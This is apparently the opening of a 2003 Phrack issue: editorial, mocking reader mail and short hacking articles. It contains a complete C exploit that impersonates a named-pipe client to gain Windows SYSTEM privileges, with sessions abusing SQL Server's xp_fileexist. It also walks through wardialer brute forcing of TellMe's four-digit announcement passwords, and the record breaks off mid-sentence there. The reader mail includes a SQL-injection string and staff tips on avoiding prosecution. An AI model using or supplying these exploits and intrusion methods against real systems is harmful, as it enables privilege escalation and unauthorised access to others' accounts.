==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x01 of 0x0f
[-]==========================================================================[-]
@@@@@@@ @@@ @@@ @@@@@@@ @@@@@@ @@@@@@@ @@@ @@@
@@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@
@@! @@@ @@! @@@ @@! @@@ @@! @@@ !@@ @@! !@@
!@! @!@ !@! @!@ !@! @!@ !@! @!@ !@! !@! @!!
@!@@!@! @!@!@!@! @!@!!@! @!@!@!@! !@! @!@@!@!
!!@!!! !!!@!!!! !!@!@! !!!@!!!! !!! !!@!!!
!!: !!: !!! !!: :!! !!: !!! :!! !!: :!!
:!: :!: !:! :!: !:! :!: !:! :!: :!: !:!
:: :: ::: :: ::: :: ::: ::: ::: :: :::
: : : : : : : : : : :: :: : : ::
. o O R E L O A D E D O o .
[-]==========================================================================[-]
PENG* PHRACK #61 is out.
What's new?
P61 comes with a prophile again (DiGiT!). We changed the filenames of
the articles (dos 8.3 is dead people!). I got bored of including this
outdated and buggy phrack extraction utility in every phrack -- gone it iz!
In this issue you'll find:16 jucy articles; a bunch of smaller articles (in
linenoise); the usual 100% dumbness in loopback, and some Phrack World News
with old skewl doodz.
I admit it, we are 5 days behind the promised release date. Sorry. Some
of you might already have enjoyed the beta-release that we gave out a few
days ago to some authors and ircs junkees. Others might have spotted one of
the many leaked (and modified) versions of these beta-releases. Be warned,
we dont give any warranty for the correctness of the article or code,
especially for an unofficial version. Hell, I saw one #61 version today
which contains articles I've never seen before and a prophile of someone we
would not prophile :>
TO MAKE IT EASIER FOR YOU: ALL DA DOMAINZ ARE BELONG TO UZ.
http://www.phrack.org <-- original
http://www.phrack.com <-- old skewl
http://www.phrack.net <-- donated
Phrack got some media coverage for releasing the gps jammer article. We
received a high amount of emails from .gov/.mil subdomains telling us that
MS exchange cant read 'this strange uudecode format'. We amused ourself for
8 month, thnx: http://www.phrack.org/dump/phrack_gps_jammer.png
__^__ __^__
( ___ )-------------------------------------------------------------( ___ )
| / | 0x01 Introduction Phrack Staff 0x09 kb | \ |
| / | 0x02 Loopback Phrack Staff 0x0b kb | \ |
| / | 0x03 Linenoise Phrack Staff 0x33 kb | \ |
| / | 0x04 Toolz Armory Phrack Staff 0x06 kb | \ |
| / | 0x05 Phrack Prophile on DiGiT Phrack Staff 0x10 kb | \ |
| / | 0x06 Advanced Doug Lea's malloc exploits jp 0x5c kb | \ |
| / | 0x07 Hijacking Linux Page Fault Handler buffer 0x1c kb | \ |
| / | 0x08 The Cerberus ELF interface mayhem 0x3f kb | \ |
| / | 0x09 Polymorphic Shellcode Engine CLET team 0xfb kb | \ |
| / | 0x0a Infecting Loadable Kernel Modules truff 0x25 kb | \ |
| / | 0x0b Building IA32 Unicode-Proof Shellcodes obscou 0x2d kb | \ |
| / | 0x0c Fun with Spanning Tree Protocol O.K. Artemjev 0x25 kb | \ |
| / | Vladislav V. Myasnyankin | \ |
| / | 0x0d Hacking da Linux Kernel Network Stack bioforge 0x4a kb | \ |
| / | 0x0e Kernel Rootkit Experiences stealth 0x0c kb | \ |
| / | 0x0f Phrack World News Phrack Staff 0x37 kb | \ |
| / |---------------------------------------------------------------| \ |
| / | Morpheus: Do you believe in fate, Neo? | \ |
| / | Neo: No. | \ |
| / | Morpheus: Why not? | \ |
| / | Neo: Because I don't like the idea that I'm not in control of | \ |
| / | my life. | \ |
|___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|
(_____)-------------------------------------------------------------(_____)
^ ^
Shoutz: justin, nar, muskrat, optimist, _dose and Hassanine Adghirni.
Enjoy the magazine!
Phrack Magazine Vol 11 Number 61, Build 5, Aug 13, 2003. ISSN 1068-1035
Contents Copyright (c) 2003 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.
|=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=|
Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : pwn@phrack.org
Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.
|=-----------------------------------------------------------------------=|
Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (GNU/Linux)
mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA
BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn
gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN
qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FnHK
-----END PGP PUBLIC KEY BLOCK-----
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of
* the editors and contributors, truthful and accurate. When possible,
* all facts are checked, all code is compiled. However, we are not
* omniscient (hell, we don't even get paid). It is entirely possible
* something contained within this publication is incorrect in some way.
* If this is the case, please drop us some email so that we can correct
* it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for
* the entirely stupid (or illegal) things people may do with the
* information contained herein. Phrack is a compendium of knowledge,
* wisdom, wit, and sass. We neither advocate, condone nor participate
* in any sort of illicit behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in
* the articles of Phrack Magazine are intellectual property of their
* authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x02 of 0x0f
|=----------------------=[ L O O P B A C K ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Phrack Staff ]=-----------------------------=|
The good stuff.
[1] http://segfault.net/~bbp/BSD-heap-smashing.txt
The funny stuff (defaced openbsd poster).
[1] http://stargliders.org/phrack/mmhs.jpg
Russian interview:
[1] http://www.bugtraq.ru/library/underground/phrack.html
GPS Jammer hypes
[1] http://computerworld.com/industrytopics/defense/story/0,10801,77702,00.html
[2] http://computerworld.com/governmenttopics/government/story/0,10801,79783,00.html
[3] http://computerworld.com/securitytopics/security/story/0,10801,77702,00.html
[4] http://www.phrack.org/dump/phrack_gps_jammer.png
www.madonna.com hacked, phrack is innocent.
[1] http://www.thesmokinggun.com/archive/madonnasplash1.html
[2] http://www.cnn.com/2003/TECH/internet/04/28/hackers.madonna.reut/index.html
Quote of the day (as seen on irc):
"Give me an eMail and I'll move the world."
We receive a lot of stupid emails as par for the course in each round
of phrack. However, we have some real gems for you this time. Ok, let's
see with what lameness the audience came up with.
Enjoy Loopback :>
|=[ 0x01 ]=--------------------------------------------------------------=|
From: echo_zero@mail.com
yo... wassup ppl?
lengedary group! the great masters r all here... Congratulations for all
u have done for hacking community. i wish to be like u some day. long
live the hackers!
STAY COOL
BE HAPPY
[ y0, da great masta speaking. Thnx bro! Enj0y #61. Keep it r3al! ]
|=[ 0x02 ]=--------------------------------------------------------------=|
From: '; OR --%20
[ note his elite technique ]
Hi, this is me checking if i can inject SQL commands into thy webservor.
Article's awesome.
[ did it work? ]
|=[ 0x03 ]=--------------------------------------------------------------=|
From: "scott johnstone" <bollocks777@hotmail.com>
Subject: Beer Generator ANTISPAM
Greets.
It occurs to me that an interesting way to generate some operating capital
for Phrack would be to sell to spammers the e-mail addresses of all the
silly newblets that ask for basic hacking tutorials and shit like that.
Granted it wouldn't be financing any phrackmobiles with rocket boosters but
it might pay for a 6-pack for the guy who handles the loopback ;)
[ done. now hurry up and order some of that penis enlargement cream --
we get 20% ]
|=[ 0x04 ]=--------------------------------------------------------------=|
From: <zyx@illrepute.org>
Subject: your PGP key
What the hell is the point of posting a PGP key that has only this
many signatures?
$ gpg --list-sigs phrackstaff
pub 1024D/3EEEDCE1 2001-05-05 phrackstaff <phrackstaff@phrack.org>
sig EF881DEC 2001-03-03 Binary Fus10n <binaryfus10n@hotmail.com>
sig D7C776BF 2001-03-03 [User id not found]
sig 75E90D2C 2001-12-29 Calle Lidstrom <calle@swip.net>
sig 3 3EEEDCE1 2001-05-05 phrackstaff <phrackstaff@phrack.org>
sub 2048g/1B6B493C 2001-05-05 [expires: 2031-04-28]
sig 3EEEDCE1 2001-05-05 phrackstaff <phrackstaff@phrack.org>
[ Conclusion: Not our key.
Cause: Someone tricked you.
Solution: Get our latest key from the latest phrack release.
Remember: Stop writing us. You suck. ]
|=[ 0x05 ]=--------------------------------------------------------------=|
From: serased@yahoo.com
y'all suck
you guysa are illegal and you know it
can't wait till the government bust your ass
[ we might be illegal, but we can frame you for it ]
|=[ 0x06 ]=--------------------------------------------------------------=|
From: Furys_Child@hotmail.com
Subject: Phrack Loopback
Hello anyone,
I am sending out this message to ask for help. I want to learn the basics
of hacking any way I can.
[ Today's lesson: "How to get subscibed to a paedophile mailing list"
Step 1. Ask phrackstaff to teach you how to hack
Step 2. Wait ]
|=[ 0x07 ]=--------------------------------------------------------------=|
From: changiz_a@yahoo.com
Subject: Hide phone number
I want to others can not see my phone number (home phone and cell phone)
how can I do this ?
[ by not using the phone. ]
|=[ 0x08 ]=--------------------------------------------------------------=|
From: Glenn Wekony <ayce57@yahoo.com>
Subject: Re: Message from Glenn Wekony ANTISPAM
[ ... a bunch of lame questiones about wifi hacking here ... ]
[ .. ] I am delibrately using my real name and am not a police officer or
a federal agent. I tell you this in the hope you will answer my e-mail and
not sound suspicious. If you do not return my e-mail, I understand.
Thanx, Glenn.
[ No doubt you are not a fed. The feds stopped bugging us about
wifi hacking techniques when they figured out how to use google. ]
|=[ 0x09 ]=--------------------------------------------------------------=|
From: Max Gastone <banangling@yahoo.com>
> Would Phrack be interested in an article on how
> current radical environmental & animal rights groups
> are using the internet and email systems against
> target companies, in particular taking on large
> company's email systems and giving them a hammering
> using novel protests techniques akin to DDoS (but not
> quite that)? Would include info on several software
> tools developed solely for this purpose.
[ "When I was a child,
I talked like a child,
I thought like a child,
I reasoned like a child.
When I became a man,
I put childish ways behind me."
(the holy bible, Paul, in his first letter to the Cor. 13:11). ]
|=[ 0x0a ]=--------------------------------------------------------------=|
I need to be a haX0r says my mUm. bcuse I jerk off too much and I need
somthing better to do wiht the 2 hours my mom lets me have to use the
FaMily winbook. My Unckle billlyfish (his fucking hacksor name) told me
that if I brake N2 nasa and steal the new rockit blueprints then give them
to you so we/you or us/me can get together all of the 0day hackers (im not
gay...just curious) and fly off to amsterdam where Heroin is legal that you
will give me a hard copy set of Phrack issues 1-50. Piss on them who dont
like shit. lol. hahaha lamers suck. I am only 27 but I should be sneaking
out of my moms basement soon...like tonight to go to an internet cafe to
masturbate because my 2 hours of Pleasureful winbook time are almost over.
If you can muster up the fucking strengh tell me how to brake into nasa so
i can claim me prize mate I would be as gracious as a dog with peanut
butter Spo0ned up his asS.
[ Actually you sounded quite smart until the last 2 sentences ]
PS If you make funny out of me then I promise I wont send the rocketshit
planz to you and I will keep them for myself and take all of the hardcopys
out of the back of that mini-gurlish SUV when i gets to holland. Dig. By
the way, after we work out a deal, you can send me my hard copy set
through my paypal account. (I have the biggest eshop on geocities...)
[ Fortunately, it's over, you started to become boring ]
|=[ 0x0b ]=--------------------------------------------------------------=|
From: unit321 <bigshot@almerger.com>
if i put a disclaimer on my phrack submission, will anyone be able to
prosecute me? in the USA?
[ Depends on which country you live in. Some countries tend to
change the law whenever a new president is in charge.
A disclaimer seldomly helps. Known technniques like leaving the
country or using an anonymous email account do help. ]
|=[ 0x01 ]=--------------------------------------------------------------=|
Hello,
Are you being harrased by government or law enforcement?
[ Of course we are! ]
|=[ 0x0c ]=--------------------------------------------------------------=|
From: d.r.hedley
Subject: question
I was wanting to look at your anarchy cookbook iv,ver 4.14. but when i go
to it. it says to
" <-------- set your browser to this width minimal ------->".
it say's that if you set your browser to the width proposed, then you'll
have no problem viewing the cookbook.
Question: how do you set your browser to the arrows that you have too - to
be able to view the anarchist cookbook iv, ver 4.14
[ It's a secret cipher. Put your monitor upside down. There are some
wheels or some buttons at the bottom of you monitor. Use them to
adjust the horizontal width. Enlighted? ]
|=[ 0x0d ]=--------------------------------------------------------------=|
Hiya guys, Bread here.
[ HIYA! staff-grunt here. ]
Just thought I'd try and submit an article. If I am
successful, many more articles will be one there way. Its' an article on
the Ping Command which I wrote about a month ago.
Anyway, I hope you enjoy it and are able to actually publish it.
Thanks for your time,
Bread
[ Can't wait to read the other articles. Please go ahead an email them
to us. All the serious articles have to be send to
loopback@phrack.org from now on.
To the content: Be warned, once you discover the -f flag you are
close to discover winnuke, bo2k, ....
We compressed your article to 1 line and will publish it right here:
$ ping -h
Regards,
Phrack Staff ]
|=[ 0x0e ]=--------------------------------------------------------------=|
From: "Ludootje"
[ Luser saying that we should publish an article he already published
elsewhere, citing as a precedent "The Hackers Manifesto". ]
" [..] but I suppose "The Hackers Manifesto" wasn't first posted on
phrack..."
[ It was. 1986. http://www.phrack.org/phrack/7/P07-03. ]
|=[ 0x0f ]=--------------------------------------------------------------=|
... to actually make use of the Phrack article:
"Below is the schematic diagram (gps_jammer.ps) in an uuencoded gzipped
PostScript file. This is the native Xcircuit[12] format and is used for
ease of viewing, printing and modification."
How many FBI agents weaned on Windows will it take to get past the first
hurdle: uuencoded?
[ So many that after 8 month we decided to help them out:
http://www.phrack.org/dump/phrack_gps_jammer.png
Or for the advanced agent:
$ uudecode p60-0x0d.txt && gunzip -d gps_jammer.ps.gz && \
gv gps_jammer.ps
]
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
Everything that does not fit somewhere else can be found here.
Corrections and additions to previous articles, to short articles or
articles that just dont make it....everything.
Contents
1 - Windows named pipes exploitation by DigitalScream
2 - How to hack into TellMe by Archangel
3 - Shitboxing by Agent5
4 - PalmMap v1.6 - Nmap for Palm by Shaun Colley
5 - Writing Linux/mc68xxx shellcode by madcr
6 - Finding hidden kernel modules (the extrem way) by madsys
7 - Good old floppy bombs by Phrick
|=-----------------------------------------------------------------------=|
|=-=[ 1 - Windows named pipes exploitation ]=----------------------------=|
|=-----------------------------------------------------------------------=|
by DigitalScream <digitalsream at real.xakep.ru> / SecurityLevel5
All latest versions of Microsoft Windows family operation systems are
based on Windows NT kernel. This fact has positive impact for both remote
and local security of Windows world. There are still some thin places
though allowing obtaining Local System privileges on the local computer
leading to the full system compromise. Usually this is because
different buffer overruns in stack or heap in system services, like in
case of any operation system. However we should not forget about system
specific bugs because of abnormal behavior of system functions. This kind
of bugs is very system dependant and from time to time is discovered
in different OS. Of cause, Windows is not exception.
Specific bugs are usually having impact on local users. Of cause, this is
not a kind of axiom, but local user has access to larger amount of
the system API functions comparing with remote one. So, we are talking
about possibility for local user to escalate his privileges. By
privilege escalation we mean obtaining privileges of Local System to have
no limitations at all. Now there are few ways to get it, I will talk
about new one.
According to MSDN to launch application with different account one must
use LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()' task is to set
SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME privileges for
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges. Actually 'Administrator' account
have no enough right for CreateProcessAsUser(). So, to execute some
application, e.g. 'cmd.exe' with LocalSystem account we must have it
already. Since we do not have username and password of privileged user we
need another solution.
In this paper we will obtain 'LocalSystem' privileges with file access
API. To open file Windows application call CreateFile() function, defined
below:
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
To open file we must call something like
HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
For advanced Windows programmer it's clear that this function has more
application rather than only opening ordinary files. It's used to
openor create new files, directories, physical drives, and different
resources for interprocess communication, such as pipes and mailslots.
We will be concerned with pipes.
Pipes are used for one-way data exchange between parent and child or
between two child processes. All read/write operations are close to
thesame file operations.
Named Pipes are used for two-way data exchange between client and server
or between two client processes. Like pipes they are like files, but can
be used to exchange data on the network.
Named pipe creation example shown below:
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named pipe's name can vary, but it always has predefined format.
The example of valid name is '\\.\pipe\GetSys'. For Windows, '\\.\'
sequence always precedes filename, e.g. if "C:\boot.ini" is requested
system actually accesses '\\.\C:\boot.ini'. This format is compatible
with UNC standard.
With basic knowledge of named pipes operations we can suppose there can be
a way to full application to access named pipe instead of user supplied
file. For example, if we created named pipe "\\.\pipe\GetSys" we can try
to force application to access "\\ComputerName\pipe\GetSys". It gives us a
chance to manipulate with access token.
Impersonation token is access token with client's privileges. That is,
this is possibility for server to do something on client's behalf. In our
case server is named pipe we created. And it becomes possible because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get this privilege. If client application has privileges of local
system we can get access to registry, process and memory management and
another possibilities not available to ordinary user.
This attack can be easily realized in practice. Attack scenario for this
vulnerability is next:
1. Create name pipe
Wait client connect after named pipe is created.
2. Impersonate client
Because we assume client application has system rights we will have them
too.
3. Obtain required rights. In fact, we need only
- SE_ASSIGNPRIMARYTOKEN_NAME
- SE_INCREASE_QUOTA_NAME
- TOKEN_ALL_ACCESS
- TOKEN_DUBLICATE
This is all we need for CreateProcessAsUser() function. To obtain rights
we need new token with TOKEN_ALL_ACCESS privelege. And we can do it,
because we have privileges of client process.
Execute code of our choice
It could be registry access, setting some hooks or random commands with
system privileges. Last one is most interesting, because we can execute
standalone application of our choice for our specific needs.
As it was said before, now I can execute CreateProcessAsUser() with system
privileges. I back to beginning, but this time I have all required
privileges and 'LocalSystem' is under my thumb.
There is no problem to realize this approach. As an example, we will use
working exploit by wirepair at sh0dan.org based on the code
of maceo at dogmile.com.
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;
if (argc != 2) {
fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
return 1;
}
memset(&si,0,sizeof(si));
sprintf(szPipe, "\\\\.\\pipe\\GetSys");
// create named pipe"\\.\pipe\GetSys"
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 2;
}
printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");
// initialize security descriptor to obtain client application
// privileges
pSD = (PSECURITY_DESCRIPTOR)
LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;
printf("Waiting for connection...\n");
// wait for client connect
ConnectNamedPipe (hPipe, NULL);
printf("Impersonate...\n");
// impersonate client
if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 3;
}
printf("Open Thread Token...\n");
// obtain maximum rights with TOKEN_ALL_ACCESS
if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u\n", dw);
CloseHandle(hToken);
return 4;
}
}
printf("Duplicating Token...\n");
// obtain TOKEN_DUBLICATE privilege
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
&sa,SecurityImpersonation,
TokenPrimary, &hToken2) == 0) {
printf("error in duplicate token\n");
printf("GetLastError: %u\n", dw);
return 5;
}
// fill pGeneric structure
pGeneric = new GENERIC_MAPPING;
pGeneric->GenericRead=FILE_GENERIC_READ;
pGeneric->GenericWrite=FILE_GENERIC_WRITE;
pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
pGeneric->GenericAll=FILE_ALL_ACCESS;
MapGenericMask( &dwAccessDesired, pGeneric );
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
ZeroMemory( &si, sizeof(STARTUPINFO));
si.cb = sizeof(si);
si.lpDesktop = NULL;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf("Creating New Process %s\n", argv[1]);
// create new process as user
if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
printf("GetLastError: %d\n", GetLastError());
}
// wait process to complete and exit
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(hPipe);
return 0;
}
This vulnerability gives a chance for us to obtain system privileges on
local computer. The only condition is system process must access this
channel. This condition is easy to reproduce with system services.
For example:
[shell 1]
>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...
[shell 2]
>time /T
18:15
>at 18:16 /interactive \\ComputerName\pipe\GetSys
New task added with code 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
Now we have new instance of cmd.exe with system privileges. It means user
can easily obtain privileges of local system. Of cause reproduce this
situation is easy only in case, there is a service, which can access files
on user request. Because 'at' command requires at least power user
privileges and may be used to launch cmd.exe directly, without any named
pipe this example is useless.
In practice, this vulnerability may be exploited for privilege escalation
by the local user if Microsoft SQL Server is installed. SQL server runs
with system privileges and may be accessed with unprivileged user. @Stake
reported vulnerability in xp_fileexist command. This command checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:
[shell 1]
>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...
[shell 2]
C:\>isql -U user
Password:
1> xp_fileexist '\\ComputerName\pipe\GetSys'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
At the end, it's good to point that this vulnerability exists in
Windows NT/2000/XP and is patched with Windows 2000 SP4 and
on Windows 2003.
A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.
[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546
[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523
[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197
[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt
[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe
|=-----------------------------------------------------------------------=|
|=-=[ 2 - How to hack into Tellme ]=-------------------------------------=|
|=-----------------------------------------------------------------------=|
How to get into the Tell-Me network.
(1-800-555-tell)
This is a representation of someone's thoughts. Thoughts cannot be
owned by another person. Use this thought as you see fit, it is yours to
duplicate or use as you please.
By Archangel (Formerly of the P.H.I.R.M.)
Archangel Systems
http://the.feds.are.lookingat.us
--------------------------------------
What is the Tell-Me system?
===========================
TellMe is a high-tech voice activated phone site with internet
connectivity, and even a voice activated browser. It is the ultimate goal
of TellMe to have the whole of the internet voice activated. The system is
quite sophisticated by today's standards, though I'm sure that tomorrow's
readers will find the efforts to be quite primative to say the least. A
free phone call gives the listener access to news, sports, weather, etc.
Even movie listings. Other areas provide for private announcements, or even
voice activated web-sites. In other words, it is now possible, through
TellMe, to dial a phone number, and listen to a website.
Tell me is a subsidiary of CNET, a giant (at the time of this writing)
on the internet.
What security flaws were exploited?
===================================
Well, I guess it's nut-cutting time. TellMe has a VERY SERIOUS security
flaw which can allow unauthorized access to the system within a matter of
hours. As I tried to hack into my own account, I realized that TellMenu
announcements only have a 4 digit numeric password.
Here's what you do:
- You dial 1-800-555-tell.
- You will get an automated banner-ad followed by a menu discribing
various TellMe features.
- You must say the word "Announcements", or dial "198" on the keypad.
This will take you to the announcements area.
- Once in the announcements area, you will need to punch in the
announcement number, which is a seven digit number assigned to you by the
TellMe computer.
- Type in any announcement number you wish (I tried with my own one first,
as this was an experiment to see if I could hack in and change my own
announcement).
The computer says "Ok, here is your announcement."
Then I heard a recording of The Baron Telling what a whimp I am.
- This was followed by the computer saying:
Please type in another announcement number, or say "Main Menu" to
continue. If you are the announcement manager, please use you telephone
keypad to enter your password to edit the announcement. If you remain
silent, the computer will say: "Please enter your 4 digit password."
FOUR DIGITS?????
Were they serious?
Now here's the kicker:
TELLME WON'T DISCONNECT YOU IF YOU FAIL 3 TIMES IN A ROW!!!
Yes, ladies and gentlement, keep trying to your heart's content.
No penalties.
Obviously a Brute Force hack was in order. I handled it by dusting off a
VERY* old wardialer.
I sat on an extention line, due to the limitations of the dialer, and
listened to it punching in access codes. When it succeeded, I could pause
the wardialer program. I would be able to look at the screen, and see what
the last couple of attempted numbers were, manually dial them in, and gain
access. I know there are easier methods, but this is what I did.
The Baron had mercifully chosen a low number, and I was in, changing
the message in about ten minutes. I then tried two other *SAFE* messages,
that I would not get in trouble for, if changed. I gained access,
respectively, in 45 and 90 minutes (More or less). My math told me that the
maximum time to Brute Force a TellMe announcement was about three hours.
Is that it?
No, while having the ability to change any announcement may be a lot of
fun, there is a far more intersting hack that you can do on TellMe.
Remember how when you first sign on, you have to say "announcements"?
Try saying the word "Extensions". You may be quite surprised at what you
find.
What are Tell-Me extensions?
============================
Tell-Me extensions are that part of the Tellme network, which they
have offered to the world to produce the voice activated web pages. Here
is what you do.
- Say "Extensions". You will be taken to the extensions area, and asked to
punch in an extension number. This is a five digit number. It was time
again for my ancient wardialer to do it's stuff. (Once again, no penalty
for incorrect guesses!)
First off, it is important at this point to mention that TellMe is a
dying concern. Most of the extensions are empty. The only extensions still
operating, are some extensions created by individual developers, Die-hard
developers, and (This is important later) TellMe's *own* extensions.
Apparently, the idea was to use the extension number as a kind of
password, as there is no directory, and one must already know the extension
number in order to gain access.
I checked into The San Remo hotel here in Las Vegas, under my
